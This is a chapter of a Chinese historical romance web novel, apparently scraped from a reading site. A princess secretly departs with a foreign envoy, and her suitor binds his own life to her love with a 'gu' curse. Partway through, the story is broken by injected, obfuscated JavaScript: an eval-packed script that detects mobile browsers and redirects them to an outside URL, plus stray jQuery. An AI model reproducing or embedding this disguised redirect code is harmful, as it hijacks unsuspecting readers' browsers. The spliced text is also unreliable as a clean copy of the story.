她要离开的事情并未昭告所有人,只有相熟的一些人知道。
对外只说身体不适,需要静养一段时间,也算是给王后她们时间安排如何应对裴杨两家。
今日是使臣离开的日子。
钟辞一早就坐上了马车,等候着使臣。这次为了保密,她没有带上向兰和若青,但是秦祁他们暗卫倒是一直跟着在。
马车的车帘被掀起,使臣正准备进来,一见到她身形都一顿,惹得外面小厮马夫疑惑。
“无事。”使臣弓身走了进去,压低了声音,“看来长公主殿下还是答应了我们陛下的要求。”
见他脸上还带着身为大国使臣的倨傲,钟辞嘴角也扯出一个似笑非笑的弧度:“还望大人替本宫隐瞒。”
“这是自然。”使臣回道,“长公主都同意前往夏水了,在下自是依着长公主的意思来。”
他笑得古怪,但想来或许是因为完成了夏水皇帝的任务,其余自是随意。
钟辞对他点点头,听着他让外面的车夫出发,心下也多少生出些许期盼。
马上就能见到姐姐了。
由于此次出使只是为了试探景阳国内部的情况,只在最初来的时候带了一些玉帛珍宝的贽礼,回程的东西不多,脚程也会快些。
傍晚时一行人就在一处驿站歇脚。钟辞也是用帷帽将自己遮挡的严实,加之有使臣的掩护,倒也没有人去深究。
她随意吃了些东西就回了房间。
刚开门就闻到一股清冽冷香的酒水,桌边那人一身蓝衫,风尘仆仆,月光透在他身上都莫名带着不安哀怨。
钟辞手顿了一下,快速进到房间关上了门。
“宋折,你怎么……”
疑惑的话还未问出口,就被长臂一拉,紧紧压在裹着酒香的怀抱里。
“殿下……”宋折哑着声音,整个身体都在颤抖,“夏水皇帝处心积虑,你这一去,我害怕……”
那日看完信后,他已经多日没有好好休息过了,那夏水皇帝字里行间全是对钟辞的兴趣,那些字眼几乎时时刻刻在刺他的心,即便已经有了钟辞的允诺,他依旧难掩不安。
若是那夏水皇帝风流倜傥、经韬纬略、才华横溢,他一介从偏僻之地出来只略通医术飞鸟走兽之语的村夫又怎会比得上……
“小侯爷,这是不信任我吗?”钟辞轻拍他弯下来的背部,感觉自己的肩头似乎濡湿了一片,心下一软,也任由他抱着自己。
“并非不信任你……”是不信任那夏水皇帝。
他的声音瓮瓮的,带着浓烈不安,手臂越收越紧。
“那你今日追上来可是有话要与我说?”
经她一提醒,宋折似乎想到了今日前来的目的,环住她的手臂也微微松开,双眼微红,眼里清亮,但那表情虽是不安,却透着复杂。
他扯了扯嘴角,露出一个十分标准的笑容:“殿下,今日是来给你送行的,来。”
钟辞被他拉着坐在了桌前,他带来了一壶酒,不似往日里喝的那些酒水,这酒水有一股特别的清香。
她看着对方给她倒了一杯,并说道:“这是我用逐月参酿的酒,用来给殿下送行再好不过了。”
外界的逐月参千金难求,他平日里用来炼制百毒丸已是大把大把挥霍,如今竟还用来酿酒!
但是钟辞不知道是,落月族的习俗,家中只要添了一个孩子,就要用逐月参酿造一壶酒,待成婚之时,双方互相交换伴随自己半生的酒饮下,寓意日后生死相随相依。
而宋折今日带来的,就是他出生时酿造的那一壶酒。
钟辞端起酒杯,在对方期待的眼神下浅浅抿了一口。
“入口清香,回味醇厚,好特别的酒。”
说罢,又尝了一口。见宋折一直只是盯着她看,她便将酒杯抬起,示意两人互相敬一杯。
宋折回过神,嘴角的笑意多了几分真情实感,端起桌上的酒杯轻碰,在缓缓将酒水送进嘴里时,眼睛却是一眨不眨看着钟辞将酒水全部吞腹入肚。
“这酒不错,待我从夏水回来,也要用这好酒招待我,知道吗?”
“咳、咳咳。”
钟辞的话刚落,宋折就笑着咳出了血,吓得她立刻放下酒杯查看。
“怎么回事?”
“无碍。”
宋折按住她的手,微微抬起头来看着她,目光里透着疯狂的偏执与不安,鲜血将唇色都染红了,嘴角还是勾着的,看上去格外的诡异。
“我的蛊,下成功了。”
这话听得钟辞眉头紧皱:“什么蛊?”
“一个只要殿下你不爱我了,我就会死的蛊。”
他的声音很轻,但很愉快,看着钟辞的眼睛里,不安渐渐消退,只剩下偏执。
似乎对他而言,死亡并不是一件多么重要的事情,他以死相胁迫,赌钟辞会永远爱他。
“宋折,你疯了!”钟辞瞳孔缩起,感觉自己一定是幻听了,怎么会有人不在乎自己的生命!
“殿下,这个蛊,是只有你心里也有我的时候才会下成功。”他嘴角的弧度又大了一些,眼睛弯弯的,就像那日在永陵楼喝醉了一般。
钟辞心里猛地一跳,一股难言的酸涩情绪涌上喉咙,哽在那里,不上不下,好不难受。她原本想着,姐姐没有接回来,母后王兄外祖他们没有完全安全下来,关于男女之情她不想投入太多的时间精力。
但人非草木,宋折这一年来的付出作为她都看在眼里。
而她许给他的驸马之位也并非说说而已,待三年后从夏水回来,她也定然是要迎他进公主府的。
只是她没想到,对方竟会不安到这个地步,宁愿拿自己的性命去赌她的喜欢……
“所以殿下,您可要一直心悦臣啊,否则臣就只有死路一条了……”
他仰着头,既笑既哭地看着钟辞,故作轻松地说道。
钟辞手轻轻覆上他的脸颊,用拇指擦掉了他眼角的泪水,微微俯身用额头贴着他的额头,轻声说:“阿折,我定不负你。”
……
第二日一早。
草草吃了点东西就上了马车。
由于今日钟辞太过安静,使臣奇怪地看了她几眼后试探性问:“长公主今日话似乎少了些?”
钟辞微微睨了他一眼,笑了笑。今日心情好,也难得调侃了回去:“使臣莫不是有什么癖好?非得听本宫骂你几句才心情舒畅?”
“你——”那使臣一噎,瞪了她一眼把头一偏,也不再多言了。
马车行驶了几个时辰,午时便停在一处宽敞的官道,供众人休息一阵。
钟辞走出马车,看着外面层层叠叠的树林,拿出水袋喝了一口。
这时天空上盘旋着一只游隼,忽高忽低,时而悬停,还发出一阵阵急促的叫声,就仿佛是也在为她送行一般。
她仰着头,看着那眼熟的灰蓝色羽毛,嘴角不由得勾起。
这游隼是来替它主人来送行的吧。
游隼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753956|190044||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盘旋了两圈后,翅膀一震,飞向了远处。
依旧在城郊的宋折看着飞回来的游隼,眼底闪了闪。
他身边站着当初在永陵楼的那个“小二”,那“小二”也注意到了游隼,还是没忍住问道:“侯爷,给自己下子蛊,万一出事了怎么办?”
他想了想,一拍脑门,“我瞎操心什么,侯爷你可是能手搓百毒丸的人,这解个区区小情蛊应当也不在话下,这只是为了让长公主殿下更加死心塌地对你的手段吧!”
宋折伸出手,让游隼落到他的手上,脸上的笑意依旧不减:“不,我解不了。”
“什么!那,那万一长公主在夏水遇到其他心动的人了……”
“那我就会死。”
他说的云淡风轻,甘之如饴。
伸手戳了戳游隼的脑袋,不再理会眉头拧成麻花的“小二”,转身朝不远处停着的马车那里走去。
他下的蛊,他自然能解。但是他不想,他想要钟辞眼里永远有他,哪怕是使一些卑劣的手段。如若有一天钟辞真的喜欢上别人了,于他而言,自己也没必要再活着看他们恩爱。
时间过得很快,再过几日就要到景阳与夏水的边境。
那里是秦家驻守的地方,秦祁他们早早就去将消息告诉了秦国公他们。
钟辞想,无论如何,她得去看一眼,当初给她暗卫给她帮助的外祖他们。
马车稳稳行驶着,越临近边境,这边的环境就越恶劣,郡县也比之之前去河州经过之地穷上不少。
外面的风刮得凶,在王城这会儿天气可能刚刚转凉,但是在这边境却是越来越冷了,她的身上也早早披上了大氅。
“我们今日进入万封关休息一晚,明日启程就要踏入夏水的国界了。”
使臣打开车窗往外看了一眼,黄沙漫天,呼啸而过。
路上的行人都是捂紧脖子,戴紧帽子,生怕风沙灌进衣服里。
他又快速将窗户关上,打了打落到身上的飞尘:“两国边境,这几月干燥多风,气候会恶劣许多,长公主可还习惯?”
“还行。”钟辞紧了紧身上的大氅,“这几日天气转凉,本宫的衣物实在有限,得去置办几件。”
使臣闻言,却是迟疑了一瞬:“长公主不妨再坚持一日,明日到了夏水国,在下给您专门安排一个马车,再给您置办几套衣服。”
“使臣这是怕本宫临时反悔了不成?”钟辞白了他一眼,嗤笑道,“本宫都随你到了万封关,难不成还会临时变卦?”
“……边境混乱,那长公主出行身边多带两个人。”
“知道了。”
临到驿站,下马车之时,使臣还不放心叮嘱了一句:“在下知道长公主的外祖一家是万封关的将军,但您如今是瞒着所有人前去夏水国,若是去见他们,将你的事情捅到了前朝,朝局变动,我们陛下可不会插手。”
钟辞盯着他,自是明白了他话外的意思,若是景阳的政权中心又重新洗牌,夏水是不会管的,哪怕在中心王后兄长以及宋折他们出了任何事情,在期限之内,她都不能离开夏水国半步。
但是她自是有她的办法。
没有理会使臣,她戴好了帷帽,先下车进了驿站。
不远处,有人正悄悄看着这边发生的事情,见到他们一行所有人进了驿站后,也不管手上的活计,转身就跑去了国公府。
暗处的秦支原本没太在意,但直觉又告诉他有古怪,同身边的暗卫说了一声后,就闪身跟了上去。